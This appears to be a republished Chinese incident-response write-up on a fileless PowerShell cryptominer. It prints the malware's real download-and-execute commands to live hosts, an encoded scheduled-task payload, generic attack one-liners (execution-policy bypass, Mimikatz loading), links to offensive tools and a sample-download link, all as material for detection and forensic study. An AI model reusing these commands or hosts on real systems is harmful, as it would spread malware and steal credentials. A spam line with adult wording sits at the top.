自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

應(yīng)急響應(yīng)系列之無文件攻擊分析

安全 應(yīng)用安全
前段時間遇到一起案例,主要是通過powershell進(jìn)行挖礦的,使用該技術(shù)來進(jìn)行挖礦的案例非常之多,但是個人感覺還是可以總結(jié)與分析一波,可以對這種技術(shù)進(jìn)行詳細(xì)分析以后討論一下如何進(jìn)行有效的監(jiān)測與防護(hù)。

 一、概述

1.1 概述

前段時間遇到一起案例,主要是通過powershell進(jìn)行挖礦的,使用該技術(shù)來進(jìn)行挖礦的案例非常之多,但是個人感覺還是可以總結(jié)與分析一波,可以對這種技術(shù)進(jìn)行詳細(xì)分析以后討論一下如何進(jìn)行有效的監(jiān)測與防護(hù)。 

[[280124]]

1.2 個人思路

通過最近遇到的幾起應(yīng)急事件,越來越感覺惡意樣本分析在應(yīng)急響應(yīng)的過程中會越來越重要,特別是惡意樣本的逆向分析,所以搞應(yīng)急的兄弟們需要多注重樣本分析這塊。同時,樣本解密這一塊也需要做些了解,目前發(fā)現(xiàn)很多惡意樣本都會進(jìn)行加密來躲避殺軟以及安全研究人員的分析。

另外,無文件攻擊會綜合使用系統(tǒng)的白名單功能,如powershell、PSExec,以及各種變形、加密、混淆、惡意文件放在遠(yuǎn)程服務(wù)器上,通過下載到內(nèi)存中執(zhí)行等方式來執(zhí)行,導(dǎo)致其在防護(hù)這塊還是存在很多技術(shù)難度。但是其在發(fā)生事件后的監(jiān)測還是有很多方式的,如流量、日志、內(nèi)存等方式來監(jiān)測。通過無文件攻擊這一塊,本文會在事后監(jiān)測這塊做一些分享。

二、 應(yīng)急響應(yīng)案例

2.1 分析結(jié)論

1、此次攻擊主要利用SMB匿名登錄以及口令爆破利用病毒投放;

2、目前只捕捉到基于TCP 445的病毒投放動作,但是分析其攻擊文件,里面還會有針對1433、3389以及65529的掃描行為,后續(xù)可能會利用相關(guān)端口進(jìn)行橫向滲透以及病毒投放行為;

3、挖礦病毒通過powershell駐留在內(nèi)存中,通過CPU進(jìn)行挖礦,會導(dǎo)致CPU占用100%。同時挖礦病毒在本地?zé)o落地文件,因此需要dump內(nèi)存才能分析相關(guān)行為;

4、同時還會利用定時任務(wù)定時下載惡意文件來進(jìn)行攻擊行為;

5、內(nèi)網(wǎng)大量機(jī)器開放445端口并且未打補(bǔ)丁,建議后期批量封堵445以及打補(bǔ)丁;

6、通過現(xiàn)有的日志,發(fā)現(xiàn)最早的攻擊時間為2019年9月10日23:48分。

2.2 過程分析

2.2.1 現(xiàn)象確認(rèn)

某用戶,通過前線技術(shù)反饋可能存在powershell挖礦行為,通過前線技術(shù)兄弟協(xié)助,找到其中一臺存在異常的服務(wù)器(192.168.0.8)進(jìn)行分析,發(fā)現(xiàn)其CPU利用率為100%。


對CPU利用率進(jìn)行排名,發(fā)現(xiàn)占用CPU比較高的都為powershell。


2.2.2Powershell分析

分析powershell這一塊,可以使用processhacker、processmonitor、processexplorer、火絨劍等來分析,火絨劍界面相對友好,各種功能也很強(qiáng)大,缺點就是需要安裝,并且經(jīng)常很卡,個人喜歡使用ProcessHacker這個功能。


利用ProcessHacker分析Powershell的命令參數(shù),相關(guān)的參數(shù)如下:

"C:\Windows\system32\cmd.exe"/c powershell -nop -w hidden -ep bypass -c"$ifp=$env:tmp+'\if.bin';if(test-path$ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'abcc20b2de0b18c895b94d2c23c0bc63'){$con=''}}if(!$con){$con=(New-ObjectNet.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-707K0JETN3J&GUID=4****544-0046-3710-8037-B7C04F344E32&MAC=D0:94:66:30:8B:7D&OS=6.3.9600&BIT=64位&USER=WIN-707K0JETN3J$&DOMAIN=WORKGROUP&D=&CD=MatroxG200eR (Renesas) WDDM1.2&P=1&FI=0&FM=1&IF=1&MF=1&HR=39.67,41.44,41.89&UP=405600.656&_T=1568219962.54539');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"

對上面的powershell參數(shù)與命令進(jìn)行分析,相關(guān)參數(shù)含義如下:

  1. -nop 不加載配置文件 
  2.  
  3. -w hidden 隱藏執(zhí)行命令窗口 
  4.  
  5. -ep bypass 忽略執(zhí)行策略文件 
  6.  
  7. -c powershell 命令 

主要的功能如下:

1.校驗本地TMP目錄下是否存在if.bin的文件

2.并校驗其MD5是否為abcc20b2de0b18c895b94d2c23c0bc63

3.若if.bin這個文件不存在,則從http://down.ackng.com/if.bin下載相應(yīng)的文件,同時上傳上傳本機(jī)的相關(guān)信息(GUID、MAC地址、操作系統(tǒng)位數(shù)、機(jī)器名、工作組等信息)

對if.bin進(jìn)行分析,發(fā)現(xiàn)其是powershell木馬以及反彈后門。

2.2.3 If.bin樣本分析

前面分析,可以了解到powershell的主要目的是為了下載if.bin這個文件,所以我們對if.bin進(jìn)行分析,直接下載下來,分析相關(guān)文件進(jìn)行了加密。


分析做加密方式,主要是通過base64和DeflateStream兩種方式,需要對樣本進(jìn)行解密,相關(guān)解密方式可使用CyberChef來進(jìn)行解密,使用方法可參考:

https://www.freebuf.com/sectool/209290.html

對其進(jìn)行解密還原,還原后的部分核心內(nèi)容如下所示:

2.2.3.1 端口轉(zhuǎn)發(fā)

開放65529端口,并將其轉(zhuǎn)發(fā)到1.1.1.1的53端口,同時創(chuàng)建一個定時任務(wù),每10分鐘運(yùn)行一次(個人猜測這個功能是攻擊者從網(wǎng)上抄的,目前其實并未起到效果)。

2.2.3.2 定時任務(wù)

創(chuàng)建定時任務(wù),每60分鐘運(yùn)行一次,主要功能為通過http://t.zer2.com下載惡意文件,放到powershell中運(yùn)行,同時還會上傳本機(jī)信息(MAC、GUID、user,domain等)。


2.2.3.3 SMB爆破

 


2.2.3.4 shellcode

 


2.2.3.5 MS17-010漏洞傳播


2.2.3.6 獲取系統(tǒng)信息

獲取用戶信息、DumpHash、獲取UserHashes、獲取啟動項目等。


2.2.3.7 端口掃描


可以看出,對惡意樣本的分析還需要對樣本進(jìn)行代碼級別的分析,這樣可以還原樣本的所有功能,如果我們通過網(wǎng)絡(luò)流量、日志等其他方式來進(jìn)行分析的話,一方面可能因為樣本的執(zhí)行需要滿足一定條件才會觸發(fā),另一方面樣本的功能我們通過日志和流量只能采集到部分功能。

2.2.4 內(nèi)存分析

我們知道,powershell相關(guān)的行為都是駐留在內(nèi)存中,在本地?zé)o落地文件,因此我們直接使用ProcessHacker來dump了Powershell的內(nèi)存數(shù)據(jù)進(jìn)行分析。


使用Notepad++打開內(nèi)存數(shù)據(jù),過濾其中內(nèi)容,可以看到其正在執(zhí)行上述powershell命令:


內(nèi)存里主要從http://down.ackng.com/if.bin下載bin文件,相應(yīng)的文件主要功能參考2.2.3的分析。

2.2.5 定時任務(wù)分析

一般情況下,powershell利用定時任務(wù)來進(jìn)行傳播,因此對定時任務(wù)分析,對192.168.0.8的定時任務(wù)分析,其定時任務(wù)如下:


可以看到該定時任務(wù)開始時間為2019年9月10日20:35分,這個時間也就是挖礦病毒感染那段時間前后,同時該定時任務(wù)每1小時執(zhí)行一次。


同時,定時任務(wù)主要是執(zhí)行powershell,其執(zhí)行的命令如下:

cmd /c "setA=power& call %A%shell -ep bypass -eJABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBEAFoAWABIAFEAegBxAGoAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0A**AegBlAHIAMgAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AaQBwAGMAXwAyADAAMQA5ADAAOQAxADAAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtA**ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApA**ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfA****ABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"

直接解密定時任務(wù)的內(nèi)容,解密后為:

IEX(New-ObjectSystem.Net.WebClient).DownloadString(‘http://t.zer2.com/v.jsp?msolow‘)

2.2.6 網(wǎng)絡(luò)連接分析

發(fā)現(xiàn)對對內(nèi)網(wǎng)445端口以及65529端口的掃描行為:

 


相關(guān)行為在if.bin文件中可以看到相關(guān)的代碼,不僅會掃描445,65529,還會掃描1433和3389,只是在192.168.0.8這臺機(jī)器上未捕捉到掃描3389和1433的行為。


2.2.7 日志分析

通過對日志分析,發(fā)現(xiàn)網(wǎng)絡(luò)中存在大量的基于SMB的爆破行為,相關(guān)日志如下:


通過目前現(xiàn)有的已經(jīng)記錄的日志,最早可以追溯到2019年9月10日23:48:48就存在相應(yīng)的SMB爆破行為,相關(guān)的攻擊IP為192.168.0.28。


爆破成功日志


 


2.2.8開放端口

內(nèi)網(wǎng)大量機(jī)器開放TCP 445,導(dǎo)致該病毒可以快速傳播。


2.2.9補(bǔ)丁分析

由于該病毒會利用永恒之藍(lán)(MS17-010)進(jìn)行傳播,分析192.168.0.8,發(fā)現(xiàn)其未打相關(guān)補(bǔ)丁。


三、攻擊方式

3.1 感染途徑

3.1.1 郵件

電子郵件是powershell 下載者最常見的傳播手段,垃圾郵件中經(jīng)常在.zip包中,包含powershell 腳本文件,這些文件有以下擴(kuò)展:

.lnk .wsf.hta .mhtml .html.doc .docm .xls

.xlsm .ppt.pptm .chm .vbs .js.bat .pif .pdf.jar

3.1.2 Office宏文檔

powershell.exe–nop –w hidden –c

“IEX((NEW-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”

3.1.3 各種EXP

包括各種RCE、web漏洞、系統(tǒng)漏洞(MS17-010等),攻擊者比較喜歡的方式,特別是可以工具化、自動化利用的EXP。

3.2 免殺對抗

3.2.1 隱藏執(zhí)行窗口

–WindowStyle hidden / -whidden:對用戶隱藏PowerShell程序窗口,以隱藏操作痕跡。

3.2.2 管道

最常見的bypass執(zhí)行策略,通過管道方式將腳本內(nèi)容插入到powershell.exe的標(biāo)準(zhǔn)輸入內(nèi),這種方法不會改變配置但要求寫入磁盤:

  1. `Typehelloword.ps1 |powershell.exe -NoP 

> -noprofile,簡寫-NoP, 為不加載windowspoweshell配置文件

你也可以從網(wǎng)絡(luò)上下載腳本并執(zhí)行,這樣就不會寫入磁盤和修改配置文件

  1. powershell -nop-c "iex(New-Object Net.WebClient).DowndloadString('url')" 

> iex Invoke-Expression,允許用戶計算和運(yùn)行動態(tài)生成的命令,輸出命令的執(zhí)行結(jié)果

> (New-ObjectNet.WebClient).DownloadString,最為常見的遠(yuǎn)程下載方法,Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient都能執(zhí)行類似的功能

3.2.3 Exec bypass

使用powershell策略中的bypass策略,這種方法不會改變配置或者要求寫入磁盤,并且不會有任何的警告或提示,如果你使用Unrestricted,在運(yùn)行網(wǎng)上下載的未被簽名的腳本時會有警告

powershell.exe-ExecutionPolicy bypass -File helloworld.ps1

> -exec bypass 忽略執(zhí)行策略文件

> -File 指定文件

3.2.4 編碼與加密

使用加密方式繞過,首先需要將命令stream加密,再base64加密即可,命令如下:


3.2.5 指定版本參數(shù)不記錄參數(shù)

指定版本參數(shù),使得攻擊者可以降低powershell到一個舊版本,新版本如-version 2.0可以記錄操作

3.2.6 PSConsole

使用PSConsole指定powershell控制文件

3.2.7 樣本案例

Cmd /c powershell-w hidden -ep bypass -c while($True){try{IEX (New-ObjectNet.WebClient).downloadstring(‘http://t.zer2.com/ipc.jsp?l’)}catch{Sleep -m2500000}}

Cmd /c 使用cmd加載powershell

-nop 不加載配置文件

-w hidden 隱藏執(zhí)行窗口

-c 執(zhí)行命令

3.3 Powershell在攻擊活動中的應(yīng)用

3.3.1 挖礦

powershell”if(!(string).contains(‘SCM EventFilter’))

{IEX(NewObjectNet.WebClient).DownloadString(‘http://XXXXXXXX:8000/info6.ps1’)}”

3.3.2 勒索

Powershell.exe–windowstyle hidden

(New-ObjectSystem.Net.WebClient.DownloadFile

(‘http://[REMOVED]’,’%Temp%\[RANDOM].exe’);Start-Process‘%Temp%\[RANDOM].exe’

3.3.3 橫向滲透

常用的橫向移動方法如下:

Invoke-Command

Enter-PSSession

WMI/wmic/Invoke-WMImethod

Profile injection

Task Sheduler

Common tools e.g. PsExec

Invoke-Command

Invoke-Shellcode,支持msf部分功能

腳本下載地址:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

Invoke-PortScan,端口掃描

腳本下載:

https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

Invoke-ReflectivePEInjection,開啟代理

腳本下載:

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

3.3.4 其他

如提取密碼,

IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/Invoke-Mimikatz.ps1‘);

Invoke-Mimikatz

四、如何發(fā)現(xiàn)

由于無文件挖礦本身沒有文件落地,因此常規(guī)基于文件的殺軟很難有效進(jìn)行查殺,目前比較主要的發(fā)現(xiàn)機(jī)制個人總結(jié)如下:

4.1 內(nèi)存

由于無文件攻擊主要在內(nèi)存中執(zhí)行,因此可以通過分析內(nèi)存的方法來分析相應(yīng)的攻擊行為,這樣的話需要周期性的將內(nèi)存dump出來,對于某個進(jìn)程可以使用ProcessHacker來dump,對于整臺服務(wù)器的內(nèi)存可以使用RamCapturer來dump內(nèi)存,同時使用Volatility分析。Linux可以使用dump命令直接將內(nèi)存導(dǎo)出:


 


 


4.2 日志

正常情況下powershell執(zhí)行的命令通過系統(tǒng)層面的日志是無法直接記錄的,但是微軟的工具sysmon可以記錄到powershell的攻擊行為,關(guān)于sysmon的相關(guān)功能和使用大家可以網(wǎng)上找找,sysmon相關(guān)事件id的主要功能如下:

可以通過事件ID 1來分析相關(guān)的命令執(zhí)行情況,id 1表示進(jìn)程創(chuàng)建行為,各種進(jìn)程創(chuàng)建、命令執(zhí)行都會通過事件id來記錄,因此我們可以通過事件id 1來記錄相關(guān)的powershell命令執(zhí)行的行為,然后通過Image過濾powershell.exe相關(guān)的操作行為,這樣的話可以記錄到powershell命令執(zhí)行日志,然后對所有的powershell命令進(jìn)行分析,正常情況下,很少遇到通過powershell進(jìn)行運(yùn)維或相關(guān)操作的情況,因此一旦有powershell的相關(guān)行為都可以進(jìn)行分析;如果具體環(huán)境里有使用Powershell的情況,這個時候就需要對powershell的命令內(nèi)容進(jìn)行過濾與分析了,分析的重點在于相關(guān)的命令參數(shù)、url等。

下圖是使用cmd執(zhí)行powershell命令,通過sysmon監(jiān)控到相關(guān)的日志情況

 


4.3 流量

由于無文件在本地?zé)o落地文件,因此本地殺軟很難有效查殺,但是即使在內(nèi)存里面執(zhí)行,其都會產(chǎn)生相應(yīng)的網(wǎng)絡(luò)流量,因此可以在流量層面彌補(bǔ)殺軟的不足,通過流量層面過濾相應(yīng)的URL、IP、MD5等進(jìn)行安全分析。這一塊在實際工作中有很多落地的場景,本塊就不細(xì)講。

4.4 Powershell命令參數(shù)

可以對powershell的命令進(jìn)行監(jiān)控來分析其是否為可疑,正常情況下,運(yùn)行powershell一般不會加一些參數(shù),攻擊者為了防止被發(fā)現(xiàn),所以會加上相關(guān)的參數(shù)來對抗殺軟以及研究人員,相關(guān)可疑的命令參數(shù)如下所示:

  1. NoProfile –nop 不加載配置文件 
  2.  
  3. iex $env:randomname 
  4.  
  5. DownloadFile下載文件到本地 
  6.  
  7. Downloadstring 下載文件到內(nèi)存 
  8.  
  9. -w hidden 隱藏執(zhí)行命令窗口 
  10.  
  11. -ep bypass 忽略執(zhí)行策略文件 
  12.  
  13. Unrestricted 

4.5 進(jìn)程調(diào)用

正常情況下是powershell的父進(jìn)程是explorer


在實際的攻擊過程中經(jīng)常發(fā)現(xiàn)其父進(jìn)程為cmd.exe,其祖父進(jìn)程為explorer.exe


同時,在某些場景下,管理人員也會使用cmd調(diào)用powershell,這個時候我們需要分析調(diào)用powershell的祖父進(jìn)程,若其祖父進(jìn)程為winword.exe、winword.exe或者wuapp.exe,這種情況表明,某個腳本啟動了cmd.exe,這個時候我們需要深入分析一些哪些具體哪個腳本或模板調(diào)用的cmd進(jìn)程。

五、樣本下載

鏈接:https://pan.baidu.com/s/1Gfzuia4T0GcRFF_Pb4y7Tw

提取碼: hfmx

六、參考鏈接

https://www.freebuf.com/articles/system/129228.html

https://www.freebuf.com/sectool/209290.html

https://www.freebuf.com/column/200241.html

https://www.freebuf.com/column/203131.html

https://www.freebuf.com/sectool/136328.html

 

責(zé)任編輯:華軒 來源: freebuf
相關(guān)推薦

2017-05-13 21:34:14

勒索攻擊蠕蟲勒索軟件

2023-07-07 06:53:56

遠(yuǎn)程軟件日志向日葵

2019-05-21 14:33:01

2015-08-26 09:45:32

應(yīng)急響應(yīng)反滲透企業(yè)應(yīng)急響應(yīng)

2021-05-26 05:42:37

勒索軟件攻擊數(shù)據(jù)泄露

2024-03-28 11:23:48

2020-12-24 09:46:07

Linux命令服務(wù)器

2019-06-17 11:10:29

Linux工具應(yīng)急響應(yīng)

2023-03-03 14:07:06

2019-08-07 22:01:34

網(wǎng)絡(luò)安全應(yīng)急響應(yīng)

2016-08-30 10:56:48

2019-11-11 10:55:46

Linux 系統(tǒng) 數(shù)據(jù)

2019-05-23 10:11:02

Linux安全檢查應(yīng)急響應(yīng)

2015-01-26 17:25:08

應(yīng)急響應(yīng)預(yù)案企業(yè)安全風(fēng)險

2021-01-18 08:10:35

安全工具病毒

2018-05-23 23:21:10

2019-05-15 10:05:19

主機(jī)安全Linux安全系統(tǒng)安全

2009-07-04 11:26:12

unix應(yīng)急安全攻略

2018-12-19 08:52:55

無文件攻擊信息安全惡意代碼

2019-08-30 08:57:36

勒索病毒漏洞網(wǎng)絡(luò)攻擊
點贊
收藏

51CTO技術(shù)棧公眾號